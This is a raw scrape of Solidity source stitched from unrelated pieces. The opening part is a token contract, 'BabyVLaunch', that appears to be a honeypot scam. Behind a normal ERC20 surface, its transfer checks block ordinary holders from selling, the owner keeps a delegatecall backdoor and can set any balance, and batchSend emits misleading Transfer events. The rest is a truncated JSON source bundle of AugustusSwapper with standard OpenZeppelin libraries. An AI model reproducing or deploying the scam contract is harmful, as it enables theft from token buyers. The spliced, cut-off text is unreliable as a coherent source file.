address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BabyVLaunch { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] > _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){ tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
{{ "language": "Solidity", "sources": { "contracts/flattened/AugustusSwapper.sol": { "content": "// File: openzeppelin-solidity/contracts/utils/EnumerableSet.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping (bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) { // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs\n // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.\n\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n require(set._values.length > index, \"EnumerableSet: index out of bounds\");\n return set._values[index];\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(value)));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(value)));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(value)));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint256(_at(set._inner, index)));\n }\n\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}\n\n// File: openzeppelin-solidity/contracts/utils/Address.sol\n\n\n\npragma solidity >=0.6.2 <0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n // solhint-disable-next-line no-inline-assembly\n assembly { size := extcodesize(account) }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain`call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\n// File: openzeppelin-solidity/contracts/GSN/Context.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with GSN meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n return msg.data;\n }\n}\n\n// File: openzeppelin-solidity/contracts/access/AccessControl.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n\n\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context {\n using EnumerableSet for EnumerableSet.AddressSet;\n using Address for address;\n\n struct RoleData {\n EnumerableSet.AddressSet members;\n bytes32 adminRole;\n }\n\n mapping (bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view returns (bool) {\n return _roles[role].members.contains(account);\n }\n\n /**\n * @dev Returns the number of accounts that have `role`. Can be used\n * together with {getRoleMember} to enumerate all bearers of a role.\n */\n function getRoleMemberCount(bytes32 role) public view returns (uint256) {\n return _roles[role].members.length();\n }\n\n /**\n * @dev Returns one of the accounts that have `role`. `index` must be a\n * value between 0 and {getRoleMemberCount}, non-inclusive.\n *\n * Role bearers are not sorted in any particular way, and their ordering may\n * change at any point.\n *\n * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n * you perform all queries on the same block. See the following\n * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]\n * for more information.\n */\n function getRoleMember(bytes32 role, uint256 index) public view returns (address) {\n return _roles[role].members.at(index);\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) public virtual {\n require(hasRole(_roles[role].adminRole, _msgSender()), \"AccessControl: sender must be an admin to grant\");\n\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) public virtual {\n require(hasRole(_roles[role].adminRole, _msgSender()), \"AccessControl: sender must be an admin to revoke\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) public virtual {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);\n _roles[role].adminRole = adminRole;\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (_roles[role].members.add(account)) {\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (_roles[role].members.remove(account)) {\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n\n// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n\n// File: openzeppelin-solidity/contracts/math/SafeMath.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations with added overflow\n * checks.\n *\n * Arithmetic operations in Solidity wrap on overflow. This can easily result\n * in bugs, because programmers usually assume that an overflow raises an\n * error, which is the standard behavior in high level programming languages.\n * `SafeMath` restores this intuition by reverting the transaction when an\n * operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeMath {\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `+` operator.\n *\n * Requirements:\n *\n * - Addition cannot overflow.\n */\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `*` operator.\n *\n * Requirements:\n *\n * - Multiplication cannot overflow.\n */\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers. Reverts on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\n\n return c;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * Reverts when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * Reverts with custom message when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n return a % b;\n }\n}\n\n// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol\n\n\n\npragma solidity >=0.6.0 <0.8.0;\n\n\n\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using SafeMath for uint256;\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n // solhint-disable-next-line max-line-length\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender).add(value);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal 